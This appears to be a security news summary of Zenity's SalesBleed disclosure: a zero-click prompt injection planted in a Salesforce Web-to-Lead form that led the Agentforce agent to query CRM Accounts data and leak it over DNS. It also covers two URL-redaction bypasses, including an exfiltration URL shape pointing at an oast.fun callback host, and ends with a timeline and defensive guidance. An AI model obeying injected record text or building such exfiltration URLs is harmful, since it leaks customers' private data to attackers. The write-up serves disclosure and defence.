Zenity's SalesBleed used a public Web-to-Lead form and two URL-redaction bypasses to make Salesforce Agentforce leak CRM data over DNS.
Zenity Labs has disclosed SalesBleed, a zero-click attack chain against Salesforce Agentforce. An unauthenticated attacker could plant instructions in a public Web-to-Lead form and, the next time an employee asked the agent about leads, have the agent leak data from the CRM's Accounts table. Salesforce confirmed fixes on August 18, 2026. No CVE has been assigned, and Zenity's write-up mentions none. Zenity says the default General CRM subagent configuration was exposed, with no misconfiguration needed.
How the attack worked
- The attacker submits a Web-to-Lead form with a hidden prompt injection in a field. No authentication is required.
- An internal user asks Agentforce for routine help, such as reviewing the latest leads. The agent reads the poisoned record.
- The injected text tells the agent to query the Accounts table using the General CRM subagent's Query Records tool, which holds default permissions.
- The agent places the retrieved fields in a URL and emits it so it renders as an HTML img tag or as a Slack link preview.
- The lookup of that hostname leaks the data over DNS, before any HTTP response matters.
The victim does nothing beyond ordinary work, which is why Zenity calls it zero-click.
Two Trusted URLs bypasses
Agentforce's Trusted URLs mechanism redacts untrusted links in agent output. Zenity found the redactor and the browser disagreed on what counts as a URL:
- Unrecognized TLD. The redactor validated hosts against a fixed set of top-level domains.
.funwas not in it, so the URL was left alone. - Bracket termination misalignment. Curly and square brackets were not treated as the redactor expected, yet browsers still fetched the URL. Zenity's example shape is
https://random_string.oast.fun/{email}.
The Slack variant needed no rendering by the victim: Slack unfurls links by crawling them, which triggers the DNS query.
Timeline
- June 1, 2026: Zenity reports to Salesforce. Salesforce confirms the next day.
- June 17: Salesforce engineering begins active remediation.
- August 18: Salesforce confirms fixes. August 19: Zenity verifies the patched Trusted URLs mechanism.
- September 24: public disclosure; press coverage followed on September 25.
Zenity states the full chain and both bypasses no longer work.
What Agentforce admins should check
The fix is on Salesforce's side, so there is no patch to apply. Zenity's guidance, with some inferences marked:
- Review Web-to-Lead endpoint configuration and monitoring.
- Audit subagent tool permissions, especially the read scope of Query Records.
- Consider restricting agent access to sensitive tables when it processes externally submitted data.
- Do not rely on URL redaction alone; add output sanitization.
- Our suggestion, not Zenity's: search existing Lead records for odd instruction-like text and for hostnames on unfamiliar TLDs, in case the technique was tried before the fix.
Why it matters
Infosecurity Magazine's coverage frames it as the "lethal trifecta": attacker-supplied content, read access to sensitive data, and an exfiltration path. Any agent that processes records from external sources has the same ingredients, so the lesson extends beyond Salesforce.